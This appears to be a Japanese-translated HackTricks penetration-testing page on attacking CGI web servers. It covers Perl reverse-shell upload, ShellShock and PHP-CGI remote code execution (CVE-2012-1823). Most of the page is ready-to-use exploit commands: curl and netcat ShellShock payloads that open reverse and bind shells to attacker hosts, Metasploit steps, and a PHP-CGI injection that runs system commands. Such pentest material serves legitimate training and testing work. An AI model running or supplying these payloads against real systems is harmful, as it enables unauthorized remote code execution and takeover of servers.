CGI

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

情報

CGIスクリプトはperlスクリプトであり、したがって、.cgi スクリプトを実行できるサーバーを侵害した場合、perl逆シェル (/usr/share/webshells/perl/perl-reverse-shell.pl) をアップロードし、.pl 拡張子を .cgi に変更し、実行権限 (chmod +x) を与え、ウェブブラウザから逆シェルにアクセスして実行できます。 CGI脆弱性をテストするためには、nikto -C all (およびすべてのプラグイン) を使用することが推奨されています。

ShellShock

ShellShock は、Unixベースのオペレーティングシステムで広く使用されている Bash コマンドラインシェルに影響を与える 脆弱性 です。これは、Bashがアプリケーションによって渡されたコマンドを実行する能力を標的としています。この脆弱性は、環境変数の操作にあり、環境変数はプロセスがコンピュータ上で実行される方法に影響を与える動的な名前付き値です。攻撃者は、環境変数に 悪意のあるコード を添付して、その変数を受信すると実行されるようにすることで、この脆弱性を悪用できます。これにより、攻撃者はシステムを潜在的に危険にさらすことができます。

この脆弱性を悪用すると、ページがエラーをスローする可能性があります。

この脆弱性を 見つける には、古いApacheバージョンcgi_mod(cgiフォルダを使用)を使用しているか、nikto を使用していることに気付くことができます。

テスト

ほとんどのテストは、何かをエコーして、その文字列がWebレスポンスで返されることを期待しています。ページが脆弱であると思われる場合は、すべてのcgiページを検索してテストしてください。

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl(反射、ブラインド、アウト・オブ・バンド)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

悪用

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

プロキシ (MitM to Web server requests)

CGIは、httpリクエスト内の各ヘッダーに対して環境変数を作成します。例えば、"host:web.com" は "HTTP_HOST"="web.com" として作成されます。

WebサーバーがHTTP_PROXY変数を使用する可能性があるため、"Proxy: <IP_attacker>:<PORT>" を含む ヘッダー を送信してみてください。もしサーバーがセッション中にリクエストを行った場合、サーバーが行った各リクエストをキャプチャすることができます。

古いPHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

基本的に、cgiがアクティブであり、phpが "古い" (<5.3.12 / < 5.4.2) 場合、コードを実行できます。 この脆弱性を悪用するには、パラメーターを送信せずにWebサーバーのいくつかのPHPファイルにアクセスする必要があります(特に "=" 文字を送信しないでください)。 その後、この脆弱性をテストするために、例えば /index.php?-s にアクセスすることができ、アプリケーションのソースコードがレスポンスに表示されます

その後、RCE を取得するために、この特別なクエリを送信できます: /?-d allow_url_include=1 -d auto_prepend_file=php://input そして、**リクエストの本文に実行されるべき PHPコード を送信します。 例:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

脆弱性と可能なエクスプロイトに関する詳細: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)!

HackTricksをサポートする他の方法:

Last updated